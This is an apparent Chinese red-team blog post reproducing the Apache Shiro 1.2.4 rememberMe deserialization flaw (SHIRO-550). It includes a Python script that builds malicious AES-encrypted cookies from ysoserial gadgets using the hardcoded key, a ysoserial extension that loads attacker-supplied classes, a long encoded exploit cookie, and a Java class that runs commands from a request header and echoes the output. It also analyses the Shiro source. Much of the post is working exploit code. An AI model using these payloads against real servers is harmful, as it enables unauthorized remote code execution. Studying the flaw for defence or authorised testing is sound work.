前言
最近部门有红队内部培训,分为了PHP审计和java审计方向。PHP还勉强可以听懂一些,但是java就比较吃力了,无论是找路由还是找gadget链、找敏感漏洞lib包都是很不熟练超级难顶,还有就是多种中间件内存马和多种中间件正向内存代理(项目中很多java项目都是不出网),就更加听不懂了。
这一段时间无论是攻防演练还是红队评估遇到的shiro
漏洞还是挺多的,于是就有了这篇文章。
环境介绍
tomcat7 + idea+jdk1.8.0_101
项目地址
:
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
环境搭建以及漏洞复现
下载好环境,配置好我们的将项目的shiro-shiro-root-1.2.4samplesweb
导入idea,并设置如下pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope> -->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
</dependencies>
</project>
配置tomcat7,
搭建完成
输入账号密码,勾选Remerber me
选项。进行抓包,可以看到环境搭建成功!
加密的cookie脚本
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command],stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections10', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
运行该脚本,可以得到加密后的rememberMe
复制该cookie,可成功执行代码
漏洞分析
漏洞原理
shiro
会对用户传入的cookie进行解密并进行java原生反序列化。其解密cookies的密钥是默认的,因此不受信任的用户可以发送任意数据触发恶意的反序列化。需要特别说明的是shiro
这个洞只是一个反序列化触发点实际能否利用要看环境是否存在gadget。
虽然是原生反序列化但是shiro重新的实现了resolveClass,这间接造成了最后加载类的classloader变成了ParallelWebappClassLoader(在tomcat上是这样),而ParallelWebappClassLoader实现有buggy造成不能反序列化非原生的数组类型(关于这点的具体分析可以看这篇强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考),这就造成大名鼎鼎的cc链某些gadget中的transformers数组无法被反序列化(by李三)
大概漏洞过程就是:
-
序列化、加密过程
-
解密、反序列化过程
官网中有大哥也提出了issuse
默认情况下,shiro使用CookieRememberMeManager。这将对用户身份进行序列化,加密和编码,以供以后检索。因此,当它接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
检索RememberMe cookie的值
Base 64解码
使用AES解密
使用Java序列化(ObjectInputStream)反序列化。
但是,默认加密密钥是硬编码的,这意味着有权访问源代码的任何人都知道默认加密密钥是什么。因此,攻击者可以创建一个恶意对象,对其进行序列化,编码,然后将其作为cookie发送。然后Shiro将解码并反序列化,这意味着您的恶意对象现在位于服务器上。通过精心构造对象,可以使它们运行一些恶意代码
-
检索
RememberMe
cookie 的值 -
Base 64解码
-
使用AES解密
-
使用Java序列化(
ObjectInputStream
)反序列化解密AES需要密钥还有mode(加解密算法)和 IV(初始化向量),而由官网得知
RememberMe
在CookieRememberMeManager实现
大概看了一下在CookieRememberMeManager类中不存在加密算法,在父类AbstractRememberMeManager中
org.apache.shiro.mgt.AbstractRememberMeManager类中发现默认的Key是硬编码在其中的,这也是该反序列得以利用的关键,如果再确定mode和IV则可以构造RememberMe
的值,然后让其反序列化
该类主要是将key进行base64解密为byte数组,然后构造函数来调用setCipherKey方法进行初始化该值
public abstract class AbstractRememberMeManager implements RememberMeManager {
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
private byte[] encryptionCipherKey;
private byte[] decryptionCipherKey;
public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
public void setCipherKey(byte[] cipherKey) {
this.setEncryptionCipherKey(cipherKey);
this.setDecryptionCipherKey(cipherKey);
}
序列化、加密过程
在AbstractRememberMeManager#onSuccessfulLogin打下断点,开启debug模式,勾选rememberMe进行登录
其中第85行主要是针对是否勾选了rememberMe经行判断
如果为true,就进行AbstractRememberMeManager#rememberIdentity,94行调用了该类的getIdentityToRemember,主要是用来获取当前用户为root
然后95行在进入rememberIdentity方法
103行主要是将用户信息转换成bytes数组,可以跟踪一下
108行经过serialize函数处理就变成了bety数组处理,可以跟一下org.apache.shiro.io.DefaultSerializer#serialize
采用的是java原生的序列化方法writeObject,而最后序列化的数据也就是代表用户身份的SimplePrincipalCollection类的实例,该类实现的接口的父辈接口继承了Serializable接口
接着来看加密过程,
110行调用了encrypt()方法,跟一下
154行调用了getCipherService方法,得到一个用来加密的CipherService对象,发现返回的是当前类的private CipherService cipherService = new AesCipherService();
并且在AesCipherService父类完成CipherService对象的初始化,可以看到此时确定了AES加密,模式为CBC,128位,填充方式为PKCS5Padding
接着在156行,cipherService.encrypt方法第一个参数是序列化的数组,第二个参数是硬编码的key,跟入cipherService.encrypt
148行可以看到iv是随机生成的16为byte,153又调用了encrypt方法,参数分别是序列化数据,key,IV和bool值为true,跟入
orgapacheshirocryptoJcaCipherService.class#encrypt
在162行将16字节的IV放入了output,接着放入密文数据
后面一直return,回到了orgapacheshiromgtAbstractRememberMeManager#convertPrincipalsToBytes,
加密过程就结束了。
反序列化、解密过程
对RememberMe的解密依然是在AbstractRememberMeManager里,调用的是getRememberedPrincipals方法
这个方法主要做了实现了三个功能:
- 获取cookie中的RememberMe值进行base64_decode
- 将base64_decode获取的byte数组进行aesdecode
- 从bytes数组中还原ByteArrayInputStream,调用readObject还原principals对象
在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity 370行打下断点,在burp中发送只有rememberMe的请求
370行跟入this.getRememberedSerializedIdentity
org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity;主要是获取cookie并base64编码
回到getRememberedPrincipals并跟入this.convertBytesToPrincipals
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals;主要进行AES解密;其中140行主要就进行反序列操作
org.apache.shiro.io.DefaultSerializer#deserialize
用ByteArrayInputStream将对象反序列化,就是漏洞的触发点
分析gadget
默认shiro的commons-collections版本为3.2.1,我们利用3.2.1的payload,结果报如下错误:
Shiro在调用readObject时,使用了ClassResolvingObjectInputStream来处理数据:这个类重写了resolverClass方法
在原生的JDK中,直接用Class.forName来获取Class,
java.io.ObjectInputStream#resolveClass
在Shiro中,使用了ClassUtils.forName获取Class,我们可以尝试跟进一下该方法:
是采用了ClassLoader.loadClass方法来加载类,loadClass()则是可以自己指定一个不同的ClassLoader,shiro中的ClasssLoader是怎么来的?是通过Thread.currentThread().getContextClassLoader();获取的,也就是WebappClassLoader
总结下原因是:
- Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。
shiro通用回显
在执行反序列化的时候执行自定义的java代码,借助TemplatesImpl
, 编写ysoserial的扩展。
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}
ysoserial的Gadget.java加入代码
public static <T> T createTemplatesImpl(Class c) throws Exception {
Class<T> tplClass = null;
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
}else{
tplClass = (Class<T>) TemplatesImpl.class;
}
final T templates = tplClass.newInstance();
final byte[] classBytes = ClassFiles.classAsBytes(c);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes
});
Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
}
根据Gadget新增不同的文件,修改
final Object templates = Gadgets.createTemplatesImpl(cmd);
final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);
生成ClassLoader 命令回显POC
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader "" > classload.ser
cat classload.ser|python shiro_encode.py ```
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
通用命令回显POC
package aa;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;
public class dfs_classloader {
static HashSet<Object> h;
static ClassLoader cl = Thread.currentThread().getContextClassLoader();
static Class hsr;//HTTPServletRequest.class
static Class hsp;//HTTPServletResponse.class
static String cmd;
static Object r;
static Object p;
// static {
// r = null;
// p = null;
// h =new HashSet<Object>();
// F(Thread.currentThread(),0);
// }
public dfs_classloader()
//static
{
// System.out.println("start");
r = null;
p = null;
h =new HashSet<Object>();
try {
hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
F(Thread.currentThread(),0);
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&hsr.isAssignableFrom(o.getClass())){
r = o;
//Tomcat特殊处理
try {
cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
if(cmd==null) {
r = null;
}else{
System.out.println("find Request");
try {
Method getResponse = r.getClass().getMethod("getResponse");
p = getResponse.invoke(r);
} catch (Exception e) {
System.out.println("getResponse Error");
r=null;
// e.printStackTrace();
}
}
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
}else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
p = o;
}
if(r !=null&& p !=null){
try {
PrintWriter pw = (PrintWriter)hsp.getMethod("getWriter").invoke(p);
pw.println("~3b712de48137572f3849aabd5666a4e3~");
pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A").next());
pw.println("~3b712de48137572f3849aabd5666a4e3~");
pw.flush();
pw.close();
//p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\A").next());
}catch (Exception e){
}
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
}
参考链接
https://www.anquanke.com/post/id/192619#h2-4
https://www.cnblogs.com/nice0e3/p/14183173.html
https://xz.aliyun.com/t/8997#toc-0
[http://redteam.today/2019/09/20/shiro 反序列化复现/](http://redteam.today/2019/09/20/shiro 反序列化复现/)
[https://l3yx.github.io/2020/03/31/Java-Web代码执行漏洞回显总结/#获取Tomcat-Response](